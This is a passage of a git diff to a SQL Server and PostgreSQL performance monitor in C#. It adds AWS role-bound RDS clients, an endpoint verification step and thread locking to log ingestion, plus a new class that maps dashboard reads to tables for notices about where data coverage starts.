+                new DescribeDBClustersRequest { DBClusterIdentifier = parsed.Identifier }, cancellationToken);
+        }
+        catch (DBClusterNotFoundException)
+        {
+            return [];
+        }
+
+        var cluster = clusters.DBClusters?.FirstOrDefault();
+
+        if (cluster is null)
+        {
+            return [];
+        }
+
+        var addresses = new List<string?> { cluster.Endpoint, cluster.ReaderEndpoint };
+        addresses.AddRange(cluster.CustomEndpoints ?? []);
+
+        return addresses;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs
index 8b13a98db5..cacef7bfaa 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs
@@ -66,11 +66,11 @@ public sealed class RdsLogEventIngestor
 
     /// <param name="logHashKey">The store's log-hash key (#4004), the same instance the <c>pg_read_file</c> route's
     /// runs carry, so the two transports store identical identities for identical text.</param>
-    public RdsLogEventIngestor(NpgsqlDataSource postgres, PgLogHashKey logHashKey, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null)
+    public RdsLogEventIngestor(NpgsqlDataSource postgres, PgLogHashKey logHashKey, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null, RdsEndpointVerifier? verifier = null, AwsRoleCredentialCache? roles = null)
     {
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
         _classifier = new PgLogEventClassifier(logHashKey ?? throw new ArgumentNullException(nameof(logHashKey)));
-        _logs = logs ?? new RdsLogSource(logger: logger);
+        _logs = logs ?? new RdsLogSource(logger: logger, verifier: verifier, roles: roles);
         _logger = logger;
         _resume = resume;
     }
@@ -92,6 +92,8 @@ public async Task<RdsIngestOutcome> IngestAsync(
         string host,
         bool logTimezoneIsUtc = false,
         bool pgLogUsesCsvlog = false,
+        string? loginConnectionString = null,
+        AwsRoleKey? role = null,
         CancellationToken cancellationToken = default)
     {
         /* #4708: what the last process saved for this server is loaded once, before its first read, so a
@@ -104,7 +106,7 @@ restart resumes from the saved file and marker instead of the newest file's last
         /* #4708: a rotated file is finished and the newest file opened in the SAME cycle (bounded), rather than
            the old file on one cycle and the new one on the next. */
         return await RdsLogSource.RunPassesAsync(
-            () => IngestPassAsync(serverId, storageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, cancellationToken));
+            () => IngestPassAsync(serverId, storageName, host, logTimezoneIsUtc, pgLogUsesCsvlog, loginConnectionString, role, cancellationToken));
     }
 
     /// <summary>
@@ -118,6 +120,8 @@ restart resumes from the saved file and marker instead of the newest file's last
         string host,
         bool logTimezoneIsUtc,
         bool pgLogUsesCsvlog,
+        string? loginConnectionString,
+        AwsRoleKey? role,
         CancellationToken cancellationToken)
     {
         RdsLogSource.LogChunk? chunk;
@@ -126,7 +130,20 @@ restart resumes from the saved file and marker instead of the newest file's last
 
         try
         {
-            chunk = await _logs.ReadNewestAsync(host, kind, cancellationToken);
+            chunk = await _logs.ReadNewestAsync(host, kind, serverId, cancellationToken, loginConnectionString, role);
+        }
+        catch (Exception ex) when (AwsRoleAssumeException.Find(ex) is { } assume)
+        {
+            /* #5452: the server's AWS role could not be used. Propagated as the role exception itself, not wrapped in the
+               unavailable type: DarlingWorker's role arm records its message (PERMISSIONS for a configuration refusal,
+               ERROR for the rest), and the wrapper's text scan for an authorization refusal must not reclassify it. */
+            throw assume;
+        }
+        catch (RdsEndpointMismatchException)
+        {
+            /* The host is not the endpoint AWS reports for this id: propagated UNWRAPPED so DarlingWorker records
+               the PERMISSIONS outcome with this message, not the IAM text the wrapped type carries. */
+            throw;
         }
         catch (PgNoCsvlogFileException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs
index a333240106..fa586c3ecd 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs
@@ -137,13 +137,29 @@ public enum LogFileKind
         Csv,
     }
 
+    /// <summary>
+    /// #5003: guards <see cref="_markers"/> and <see cref="_staleSinceUtc"/>. One ingestor, and so one source, serves
+    /// every RDS target of a collector, and the targets' runs overlap: two threads walking or changing these tables at
+    /// once threw "Collection was modified; enumeration operation may not execute" out of a position commit, and the
+    /// same race with no walk in it tears a table without any error. Every access takes this lock, and each sequence
+    /// that reads and then writes (find a position, then seed it; add a key, then prune the old ones) holds it across
+    /// the whole sequence. Nothing awaits, calls out or throws while it is held, so it is never held across an await.
+    /// </summary>
+    private readonly object _stateLock = new();
+
     private readonly Dictionary<string, string> _markers = new(StringComparer.Ordinal);
 
     /// <summary>Test-only visibility into which marker keys survive a commit (#4053 review round 2, item 3):
     /// whether <paramref name="key"/> (an "instance|file" pair) still holds a marker.</summary>
-    internal bool HasMarkerForKey(string key) => _markers.ContainsKey(key);
+    internal bool HasMarkerForKey(string key)
+    {
+        lock (_stateLock)
+        {
+            return _markers.ContainsKey(key);
+        }
+    }
 
-    private readonly Func<string, IAmazonRDS> _clientFactory;
+    private readonly Func<string, AwsRoleKey?, IAmazonRDS> _clientFactory;
 
     private readonly Func<DateTime> _clock;
 
@@ -171,10 +187,18 @@ public enum LogFileKind
 
     private static readonly TimeSpan ListingCapWarnInterval = TimeSpan.FromHours(1);
 
-    public RdsLogSource(Func<string, IAmazonRDS>? clientFactory = null, Func<DateTime>? clock = null, ILogger? logger = null)
+    private readonly RdsEndpointVerifier _verifier;
+
+    public RdsLogSource(
+        Func<string, IAmazonRDS>? clientFactory = null,
+        Func<DateTime>? clock = null,
+        ILogger? logger = null,
+        RdsEndpointVerifier? verifier = null,
+        AwsRoleCredentialCache? roles = null,
+        Func<string, AwsRoleKey?, IAmazonRDS>? roleClientFactory = null)
     {
-        _clientFactory = clientFactory
-            ?? (region => new AmazonRDSClient(RegionEndpoint.GetBySystemName(region)));
+        _verifier = verifier ?? new RdsEndpointVerifier(clock);
+        _clientFactory = roleClientFactory ?? AwsRoleClients.Rds(clientFactory, roles);
         _clock = clock ?? (() => DateTime.UtcNow);
         _logger = logger;
     }
@@ -259,14 +283,23 @@ public void CommitResume(ResumeMarker resume)
     public bool RestorePosition(LogFileKind kind, string instanceId, string file, string marker)
     {
         if (string.IsNullOrEmpty(instanceId) || string.IsNullOrEmpty(file) || string.IsNullOrEmpty(marker)
-            || IsCsvFileName(file) != (kind == LogFileKind.Csv)
-            || FindHeldPosition(instanceId, kind) is not null)
+            || IsCsvFileName(file) != (kind == LogFileKind.Csv))
         {
             return false;
         }
 
-        _markers[instanceId + "|" + file] = marker;
-        return true;
+        /* #5003: finding a held position and seeding one are one step. Two restores for the same instance cannot both
+           pass the check, and a commit cannot land between the check and the write. */
+        lock (_stateLock)
+        {
+            if (FindHeldPosition(instanceId, kind) is not null)
+            {
+                return false;
+            }
+
+            _markers[instanceId + "|" + file] = marker;
+            return true;
+        }
     }
 
     /// <summary>
@@ -289,6 +322,15 @@ public static (string Instance, string File, string Marker)? CommittedPosition(R
     }
 
     private void CommitKey(string key, string marker)
+    {
+        /* #5003: the write, the walk that finds the instance's other files, and the removals are one step. */
+        lock (_stateLock)
+        {
+            CommitKeyLocked(key, marker);
+        }
+    }
+
+    private void CommitKeyLocked(string key, string marker)
     {
         /* Keyed by FILE as well as instance, so a log rotation starts a fresh marker instead of resuming a
            new file at an old file's offset. */
@@ -389,7 +431,19 @@ private static bool IsCsvFileName(string? fileName)
     /// behaviour — the writer resolution, the marker discipline, the bounded first read — is unchanged; only
     /// which file name <see cref="LogFilesNewestFirstAsync"/> picks differs.
     /// </summary>
-    public async Task<LogChunk?> ReadNewestAsync(string host, LogFileKind kind, CancellationToken cancellationToken = default)
+    public Task<LogChunk?> ReadNewestAsync(string host, LogFileKind kind, CancellationToken cancellationToken = default)
+        => ReadNewestAsync(host, kind, 0, cancellationToken);
+
+    /// <summary>
+    /// The same read for the server <paramref name="serverId"/>, which keys the cached endpoint check
+    /// (<see cref="RdsEndpointVerifier"/>) together with the host and the parsed id.
+    /// <paramref name="loginConnectionString"/> is the target's connection string, for the fresh login the check needs.
+    /// <paramref name="role"/> is the server's own AWS role (#5452), null for the process credentials: the log calls AND the
+    /// endpoint check's Describe calls both use the one client built for it.
+    /// </summary>
+    public async Task<LogChunk?> ReadNewestAsync(
+        string host, LogFileKind kind, int serverId, CancellationToken cancellationToken,
+        string? loginConnectionString = null, AwsRoleKey? role = null)
     {
         var endpoint = RdsEndpoint.TryParse(host);
 
@@ -409,7 +463,12 @@ private static bool IsCsvFileName(string? fileName)
                 + "so captured plans belong to a server that can be named.");
         }
 
-        using var client = _clientFactory(parsed.Region);
+        using var client = _clientFactory(parsed.Region, role);
+
+        /* The host must be the endpoint AWS reports for the id parsed from it before any log call is made. Under a role
+           the check's Describe calls use this same role-bound client, and the verdict is kept per role (#5452). */
+        await _verifier.EnsureAsync(
+            client, parsed, host, serverId, cancellationToken, loginConnectionString, AwsRoleKey.ScopeOf(role));
 
         var instanceId = parsed.Kind == RdsEndpointKind.ClusterWriter
             ? await ResolveWriterAsync(client, parsed.Identifier, cancellationToken)
@@ -500,18 +559,23 @@ than a repeated read - see CommitResume. */
     {
         var prefix = instanceId + "|";
 
-        foreach (var (existingKey, marker) in _markers)
+        /* #5003: the walk holds the lock, so a commit for another instance cannot add a key under it. The tuple it
+           returns is a copy, so the caller uses it after the lock is released. */
+        lock (_stateLock)
         {
-            if (!existingKey.StartsWith(prefix, StringComparison.Ordinal))
+            foreach (var (existingKey, marker) in _markers)
             {
-                continue;
-            }
+                if (!existingKey.StartsWith(prefix, StringComparison.Ordinal))
+                {
+                    continue;
+                }
 
-            var fileName = existingKey[prefix.Length..];
+                var fileName = existingKey[prefix.Length..];
 
-            if (IsCsvFileName(fileName) == (kind == LogFileKind.Csv))
-            {
-                return (existingKey, fileName, marker);
+                if (IsCsvFileName(fileName) == (kind == LogFileKind.Csv))
+                {
+                    return (existingKey, fileName, marker);
+                }
             }
         }
 
@@ -646,20 +710,33 @@ is not the same fact as csvlog having actually been turned off. staleSinceUtc (p
                close, the instance's entry is cleared and the debounce starts over from nothing. */
             var staleNow = newestStderr - newestCsv > StaleCsvThresholdMs;
 
-            if (staleNow)
+            /* #5003: the table is shared by every target's read, so the check and the write that follows it hold the
+               lock. The clock is read before it, and the throw comes after it. */
+            var seenAt = staleNow ? _clock() : default;
+            var debounceElapsed = false;
+
+            lock (_stateLock)
             {
-                if (!_staleSinceUtc.TryGetValue(instanceId, out var since))
+                if (staleNow)
                 {
-                    _staleSinceUtc[instanceId] = _clock();
+                    if (!_staleSinceUtc.TryGetValue(instanceId, out var since))
+                    {
+                        _staleSinceUtc[instanceId] = seenAt;
+                    }
+                    else if (seenAt - since >= StaleCsvDebounce)
+                    {
+                        debounceElapsed = true;
+                    }
                 }
-                else if (_clock() - since >= StaleCsvDebounce)
+                else
                 {
-                    throw new PgNoCsvlogFileException();
+                    _staleSinceUtc.Remove(instanceId);
                 }
             }
-            else
+
+            if (debounceElapsed)
             {
-                _staleSinceUtc.Remove(instanceId);
+                throw new PgNoCsvlogFileException();
             }
         }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs
index c86c5d7b0f..5e69261dc7 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/RdsPlanIngestor.cs
@@ -55,10 +55,10 @@ public sealed class RdsPlanIngestor
     /// </summary>
     private readonly RdsCsvlogCarryBook _csvCarry = new();
 
-    public RdsPlanIngestor(NpgsqlDataSource postgres, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null)
+    public RdsPlanIngestor(NpgsqlDataSource postgres, RdsLogSource? logs = null, ILogger? logger = null, RdsResumeStore? resume = null, RdsEndpointVerifier? verifier = null, AwsRoleCredentialCache? roles = null)
     {
         _postgres = postgres ?? throw new ArgumentNullException(nameof(postgres));
-        _logs = logs ?? new RdsLogSource(logger: logger);
+        _logs = logs ?? new RdsLogSource(logger: logger, verifier: verifier, roles: roles);
         _logger = logger;
         _resume = resume;
     }
@@ -80,6 +80,8 @@ public async Task<RdsIngestOutcome> IngestAsync(
         string storageName,
         string host,
         bool pgLogUsesCsvlog = false,
+        string? loginConnectionString = null,
+        AwsRoleKey? role = null,
         CancellationToken cancellationToken = default)
     {
         /* #4708: what the last process saved for this server is loaded once, before its first read, so a
@@ -92,7 +94,7 @@ restart resumes from the saved file and marker instead of the newest file's last
         /* #4708: a rotated file is finished and the newest file opened in the SAME cycle (bounded), rather than
            the old file on one cycle and the new one on the next. */
         return await RdsLogSource.RunPassesAsync(
-            () => IngestPassAsync(serverId, storageName, host, pgLogUsesCsvlog, cancellationToken));
+            () => IngestPassAsync(serverId, storageName, host, pgLogUsesCsvlog, loginConnectionString, role, cancellationToken));
     }
 
     /// <summary>
@@ -105,6 +107,8 @@ restart resumes from the saved file and marker instead of the newest file's last
         string storageName,
         string host,
         bool pgLogUsesCsvlog,
+        string? loginConnectionString,
+        AwsRoleKey? role,
         CancellationToken cancellationToken)
     {
         RdsLogSource.LogChunk? chunk;
@@ -113,7 +117,20 @@ restart resumes from the saved file and marker instead of the newest file's last
 
         try
         {
-            chunk = await _logs.ReadNewestAsync(host, kind, cancellationToken);
+            chunk = await _logs.ReadNewestAsync(host, kind, serverId, cancellationToken, loginConnectionString, role);
+        }
+        catch (Exception ex) when (AwsRoleAssumeException.Find(ex) is { } assume)
+        {
+            /* #5452: the server's AWS role could not be used. Propagated as the role exception itself, not wrapped in the
+               unavailable type: DarlingWorker's role arm records its message (PERMISSIONS for a configuration refusal,
+               ERROR for the rest), and the wrapper's text scan for an authorization refusal must not reclassify it. */
+            throw assume;
+        }
+        catch (RdsEndpointMismatchException)
+        {
+            /* The host is not the endpoint AWS reports for this id: propagated UNWRAPPED so DarlingWorker records
+               the PERMISSIONS outcome with this message, not the IAM text the wrapped type carries. */
+            throw;
         }
         catch (PgNoCsvlogFileException)
         {
@@ -164,9 +181,9 @@ RdsDeadlockIngestor. ReadNewestAsync answers null only when RdsEndpoint.TryParse
            store or was nothing to store; anything else threw out of StoreAsync and left the marker where it
            was, so the next cycle asks RDS for the same window again rather than resuming past it.
 
-           Plan rows dedup on (queryid, plan_hash), so the repeat this can cause costs a re-store of shapes
-           the store already has. The loss it replaces was unbounded and silent. The csvlog carry moves
-           alongside it for the same reason RdsDeadlockIngestor's own commit does (#4053 part c3). */
+           Plan rows are grouped on (queryid, plan_hash) at read time, so the repeat this can cause costs
+           duplicate capture rows that the readers fold together, a re-store of shapes the store already has.
+           The loss it replaces was unbounded and silent. The csvlog carry moves alongside it for the same reason RdsDeadlockIngestor's own commit does (#4053 part c3). */
         _logs.CommitResume(chunk.Value.Resume);
 
         var resumeAdvanced = !string.IsNullOrEmpty(chunk.Value.Resume.Marker);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs b/Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs
index fe2aff0578..b9ab21579a 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Targets/SqlServerTargetProvider.cs
@@ -145,7 +145,7 @@ composed predicate is scoped-in AND NOT excluded — the exclusion keeps its vet
         return (
             WithDatabase(connectionString, "master"),
             new CollectorQuery(
-                $"SELECT name FROM sys.databases WHERE state_desc = N'ONLINE' AND database_id > 0 {scopeClause} {exclusionClause} ORDER BY name;",
+                $"SELECT /* PerformanceMonitorLite */ name FROM sys.databases WHERE state_desc = N'ONLINE' AND database_id > 0 {scopeClause} {exclusionClause} ORDER BY name;",
                 parameters));
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/WebDataStartNote.cs b/Darling/PerformanceMonitor.Darling.Service/WebDataStartNote.cs
new file mode 100644
index 0000000000..08bc658ed7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/WebDataStartNote.cs
@@ -0,0 +1,906 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// Where the data starts, for the server page's grids (#4966). A grid or a list over a window hides a short history:
+/// a server added two days ago shows two days of rows under "last 7 days" with nothing saying so. This asks
+/// <see cref="DataWindowFloor"/> where the read's own table starts covering the server and, when that is after the
+/// window's start, adds the same three fields the tools that already carry the window floor use
+/// (<c>window_truncated</c>, <c>effective_start</c>, <c>truncation_note</c>) to the response the page reads.
+///
+/// <para><b>Why in the web layer.</b> The server page reads <c>/api/read/{tool}</c>, which returns the tool's own
+/// payload. The tools are shared with the MCP host, which gets its own notices later; this wraps the web mirror only,
+/// so no tool's payload changes. A read the tool already answers with <c>window_truncated</c> (the Queries tab's
+/// grids) is left as the tool wrote it.</para>
+///
+/// <para><b>Which reads.</b> Only a grid over one collector table whose rows are stamped with the collection time, the
+/// change histories over the config snapshot tables they diff, the memory grant and plan correction reads over their snapshot
+/// tables, or the collection log: <see cref="TableByRead"/>. The memory grant reads answer a window aggregate and the newest
+/// snapshot in one payload; the note is about the aggregate, and the page opts the newest-snapshot panels out. The PostgreSQL
+/// window aggregates (top queries, blocking, database stats, session states, I/O and replication stats) and the trend grids
+/// (database, query duration, wait and I/O trends) read one raw relation over the window, and Captured Plans reads the plan
+/// capture table by capture time. Every panel of their fanouts shows the window's own figures, so none opts out, and a stat
+/// tile draws the note beside its grid. The vacuum, horizon, slot and write tiles (freeze headroom, xmin horizon, autovacuum
+/// backlog, replication slots, checkpoints and WAL) draw it on the panels that show a window figure: a peak, a growing count, a
+/// first-to-last difference. A chart whose time axis spans the asked range already shows the empty span, a read of
+/// the newest snapshot has no window to cut, and an event surface (blocked process reports, deadlocks, system health
+/// events, the default trace) filters on the event's own time, which can reach before the first collection, so a
+/// coverage start could name a time later than the history it shows. Those are not in this list.</para>
+///
+/// <para><b>A capped list.</b> Six listed reads are LISTS over time, newest first, under a row cap; four read <c>collection_time</c>:
+/// <c>get_waiting_tasks</c>, <c>get_collection_log</c>, <c>get_pg_server_config_changes</c> and <c>get_plan_corrections</c>
+/// (<see cref="CappedByRead"/>, which adds the blocked process and Default Trace event reads). When one hits its cap the grid ends at the oldest row the read returned,
+/// whatever the store covers, so the note names that row (<c>effective_start</c> is the answer's
+/// <c>oldest_returned_collection_time</c>, or for the configuration changes the earliest <c>changed_at</c> on the page,
+/// and the text says the grid shows the newest rows back to it). The answer already carries the time, so this asks the
+/// store nothing. The note shows only when that oldest row is later than the window's start, by any amount: a page
+/// whose oldest row is at the start, or before it, shows the whole range and says nothing. The collection log keeps
+/// the coverage rule when a duration floor ranks its page slowest first, as it
+/// is then a sample of the whole window. The other reads keep the coverage rule: aggregates over the whole window,
+/// whose cap keeps the top rows and hides no time range; <c>get_pg_predicate_stats</c>, a list ranked by something
+/// other than time; and the SQL Server change histories, which carry no cap.</para>
+///
+/// <para><b>The instants as fields.</b> The note's sentence names its times in UTC. The page prints every time in the
+/// browser's zone, so the answer also carries the instants (<see cref="DataStartField"/> or
+/// <see cref="OldestShownField"/>, <see cref="WindowStartField"/>, <see cref="WindowEndField"/>) and the page composes
+/// the note from them in its own clock. The sentence stays for any other reader.</para>
+///
+/// <para><b>When it says nothing.</b> The window is covered (whether or not it holds rows: a quiet start is not a
+/// cut) and the read did not hit a row cap that cuts by time (or hit it, and its oldest row is at or before the
+/// window's start), nothing in scope holds a row or logged a run in it, the
+/// answer is an envelope other than the read's own "looked and found nothing" word (<see cref="NothingFoundStatusByRead"/>:
+/// <c>empty</c>, <c>no_changes</c> for the PostgreSQL changes, <c>no_blocking_sampled</c> for blocking and <c>no_io_activity</c> for the I/O summary, which are probed like rows; unavailable (the memory grant reads' no-snapshot word and top queries' no-statistics word), not_collected, not_sampled (blocking's "the collector never ran"), precondition (Captured Plans' "capture is not configured") and
+/// invalid are not) or an error rather than rows, the read cannot be resolved, the
+/// window is no longer than the 90-minute slack (a window that short can never be cut by the store's coverage, so the
+/// probe is not asked), or the probe fails. A failed probe costs the grid its notice, never its rows.</para>
+/// </summary>
+internal static class WebDataStartNote
+{
+    /// <summary>
+    /// The grid reads that carry the notice, each over the one collector table it reads. A closed list: each name is
+    /// a read <c>BuildReadDispatch</c> serves, each table one <see cref="DataWindowFloor.Source.TryForCollectorTable"/>
+    /// can probe, and a test holds both.
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string> TableByRead = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["get_waiting_tasks"] = "waiting_tasks",
+        ["get_latch_stats"] = "latch_stats",
+        ["get_spinlock_stats"] = "spinlock_stats",
+        ["get_wait_stats"] = "wait_stats",
+        ["get_pg_wait_stats"] = "pg_wait_stats",
+        ["get_pg_wait_sampling"] = "pg_wait_sampling",
+        ["get_pg_kernel_stats"] = "pg_kernel_stats",
+        ["get_pg_lock_stats"] = "pg_lock_stats",
+        ["get_pg_predicate_stats"] = "pg_predicate_stats",
+
+        /* The change histories (#4966): each diffs the snapshots a config collector writes, so the rows' own times
+           can never come before the table's coverage, and the notice says how far back the snapshots go. The
+           trace-flag history is the third grid on the SQL Server Config Changes tab, and the PostgreSQL one is the
+           Configuration tab's Changes grid. */
+        ["get_server_config_changes"] = "server_config",
+        ["get_database_config_changes"] = "database_config",
+        ["get_trace_flag_changes"] = "trace_flags",
+        ["get_pg_server_config_changes"] = "pg_server_config",
+
+        /* The raw run log under Collection Health on a SQL Server page and on Overview for PostgreSQL (#4966): not a
+           collector table, so its source is the collection log's own (TryGetSource). */
+        ["get_collection_log"] = CollectionLogTable,
+
+        /* The SQL Server snapshot reads (#4966). Memory grants and the resource semaphore read the one memory_grant_stats
+           table; their page opts the newest-snapshot halves out (windowNote:false) and keeps the note on the window
+           aggregates. Plan corrections list recommendations by capture time, newest first. */
+        ["get_memory_grants"] = "memory_grant_stats",
+        ["get_resource_semaphore"] = "memory_grant_stats",
+        ["get_plan_corrections"] = "plan_correction",
+
+        /* The PostgreSQL window aggregates (#4966): each answers totals or per-key aggregates over the whole window from the one
+           raw relation named, so a short history reads as a quiet one. Every panel of their fanouts shows the window's own
+           figures (the stat tiles are window totals), so none opts out of the note. The row caps keep rows by rank, which hides
+           no time range: the coverage rule applies. */
+        ["get_pg_top_queries"] = "pg_statement_stats",
+        ["get_pg_blocking"] = "pg_blocking_edges",
+        ["get_pg_database_stats"] = "pg_database_stats",
+        ["get_pg_session_states"] = "pg_session_states",
+        ["get_pg_io_stats"] = "pg_io_stats",
+        ["get_pg_replication_stats"] = "pg_replication_stats",
+
+        /* The PostgreSQL trend grids and Captured Plans (#4966). The trend reads difference the same raw relations over [start, end]
+           (no rollup, no second tier), and the page draws each as a grid of points. Captured Plans windows on the capture's
+           collection_time and groups by plan shape under a cap ranked by total duration. */
+        ["get_pg_database_trend"] = "pg_database_stats",
+        ["get_pg_query_duration_trend"] = "pg_statement_stats",
+        ["get_pg_wait_trend"] = "pg_wait_sampling",
+        ["get_pg_io_trend"] = "pg_io_stats",
+        ["get_pg_plans"] = "pg_plan_capture",
+
+        /* The nine system_health reads (#4966): each parses events out of the one system_health_events table, so each follows the
+           event-time rule (EventTimeByRead) and the capped rule (CappedByRead). Their empty answers carry the window-floor keys
+           under hints, which the page does not read, so the web's own note is what an empty System Events panel shows. */
+        ["get_health_parser_system_health"] = "system_health_events",
+        ["get_health_parser_severe_errors"] = "system_health_events",
+        ["get_health_parser_io_issues"] = "system_health_events",
+        ["get_health_parser_scheduler_issues"] = "system_health_events",
+        ["get_health_parser_memory_conditions"] = "system_health_events",
+        ["get_health_parser_cpu_tasks"] = "system_health_events",
+        ["get_health_parser_memory_broker"] = "system_health_events",
+        ["get_health_parser_memory_node_oom"] = "system_health_events",
+        ["get_health_parser_significant_waits"] = "system_health_events",
+
+        /* The SQL Server event reads (#4966). Each lists EVENTS by the event's own time, so a row can predate the collection
+           that stored it and the notice follows the event-time rule (EventTimeByRead). Blocked process reports and the Default
+           Trace are newest first under a row cap (CappedByRead); the long query page is the slowest runs, ranked by duration,
+           so its cap names no reach; memory pressure has no cap. */
+        ["get_blocked_process_xml"] = "blocked_process_reports",
+        ["get_long_query_completions"] = "long_query_completions",
+        ["get_memory_pressure_events"] = MemoryPressureEventsTable,
+        ["get_default_trace_events"] = "default_trace_events",
+
+        /* The PostgreSQL event logs, SQL Server Blocking and Deadlocks (#4966). All are event lists on the event's own time, so
+           the event-time rule applies (EventTimeByRead) and a capped page names its oldest row (CappedByRead). get_blocking is fed
+           by two tables (CompositeSourcesByRead); this entry names the first. */
+        ["get_pg_deadlocks"] = "pg_deadlocks",
+        ["get_pg_log_events"] = "pg_log_events",
+        ["get_blocking"] = "blocked_process_reports",
+        ["get_deadlocks"] = "deadlocks",
+        ["get_deadlock_detail"] = "deadlocks",
+
+        /* The PostgreSQL vacuum, horizon, slot and write tiles (#4966). Each answers figures that need the window to mean
+           anything: the autovacuum backlog's growing count compares a table's newest dead tuples with its earliest in the window,
+           a slot's severity rests on its retained WAL growing across it, the horizon holders' peaks and win shares and the
+           per-database freeze peaks are window figures, and the checkpoint and WAL totals are first-to-last differences. A short
+           history would read as a calm one. The page opts out the panels that show only the newest values (the freeze headroom
+           and horizon-holder tiles and the thresholds): see server-tabs.js. The horizon, autovacuum and slot tables are sparse and are
+           probed on their collectors' runs (CollectorRunsByRead). */
+        ["get_pg_wraparound_risk"] = "pg_wraparound_stats",
+        ["get_pg_xmin_horizon"] = "pg_xmin_horizon",
+        ["get_pg_autovacuum_health"] = "pg_autovacuum_stats",
+        ["get_pg_replication_slots"] = "pg_replication_slot_stats",
+        ["get_pg_write_stats"] = "pg_write_stats",
+
+        /* The PostgreSQL index usage read (#4966). scans_in_window is the difference between an index's first and last sample in the
+           window, off a collector that runs DAILY, so a short history gives a small difference and an index can look unused only
+           because it has been watched briefly. Both panels of its fanout (the totals and the per-index grid) show window figures, so
+           the page draws the web's own note and the tool's UTC keys are stripped. */
+        ["get_pg_index_usage"] = "pg_index_usage_stats",
+    };
+
+    /// <summary>
+    /// The name <see cref="TableByRead"/> gives the collection log. It is not a collector table
+    /// (<see cref="DataWindowFloor.Source.TryForCollectorTable"/> refuses it), so <see cref="TryGetSource"/> answers
+    /// it with <see cref="DataWindowFloor.Source.ForCollectionLog"/>: its edge is the log's own fixed horizon.
+    /// </summary>
+    internal const string CollectionLogTable = "collection_log";
+
+    /// <summary>
+    /// The name <see cref="TableByRead"/> gives the memory pressure events. <see cref="DataWindowFloor.Source.TryForCollectorTable"/>
+    /// refuses it (its index leads with <c>sample_time</c>, not the prefix time column), so <see cref="TryGetSource"/> answers it with
+    /// <see cref="DataWindowFloor.Source.ForMemoryPressureEvents"/>.
+    /// </summary>
+    internal const string MemoryPressureEventsTable = "memory_pressure_events";
+
+    /// <summary>
+    /// The listed reads whose rows are SPARSE, probed on their collector's own logged runs instead of on the table (#4966). A
+    /// blocking chain, a long transaction behind a pinned horizon and a connected replica each store a row only while it exists,
+    /// so the table's oldest row says when the first one happened, not when collection began: on a server collected for a month
+    /// whose first chain came yesterday it would name yesterday and call a covered week partial. The collector's runs are logged
+    /// whether or not they stored a row, which is what the Captures tile beside the grid counts. Each name is a collector
+    /// <see cref="DataWindowFloor.Source.ForCollectorRuns"/> accepts (it throws on any other, and a test holds each). The read
+    /// stays in <see cref="TableByRead"/> too, for the table its tool reads; this map is consulted first.
+    /// </summary>
+    internal static readonly IReadOnlyDictionary<string, string> CollectorRunsByRead = new Dictionary<string, string>(StringComparer.Ordinal)
+    {
+        ["get_pg_blocking"] = "pg_blocking",
+        ["get_pg_session_states"] = "pg_session_states",
+        ["get_pg_replication_stats"] = "pg_replication_stats",
+
+        /* The horizon holders, the tables with pending vacuum work and the replication slots (#4966): each collector stores a row only
+           while one exists (PgXminHorizonCollector's holders query ends in WHERE xmin_age IS NOT NULL and the reader says an unheld
+           capture stores nothing; PgAutovacuumStatsCollector's WHERE keeps only tables with dead tuples, modifications, insert activity
+           or autovacuum off; PgReplicationSlotsCollector reads pg_replication_slots, which is empty on a server with no slot). The
+           slot collector is named pg_replication_slots and writes pg_replication_slot_stats. The freeze headroom table
+           (pg_database always lists every database) and the checkpoint and WAL table (single-row views) get a row every collection, so
+           they keep the table's own start. */
+        ["get_pg_xmin_horizon"] = "pg_xmin_horizon",
+        ["get_pg_autovacuum_health"] = "pg_autovacuum_stats",
+        ["get_pg_replication_slots"] = "pg_replication_slots",
+    };
+
+    /// <summary>
+    /// The reads fed by MORE than one table (#4966), each with the tables its tool probes, in the tool's order. get_blocking lists the
+    /// XE blocked process reports and the always-on DMV blocking snapshots that stand in for them (<c>BlockingPageSources</c> in
+    /// DarlingMcpBlockingTools). The probe passes both to <see cref="DataWindowFloor.GetAsync"/>, which answers the EARLIER start, as the
+    /// tool and the desktop viewer do. <see cref="TableByRead"/> names the first table, so a caller that wants one source still gets one.
+    /// </summary>
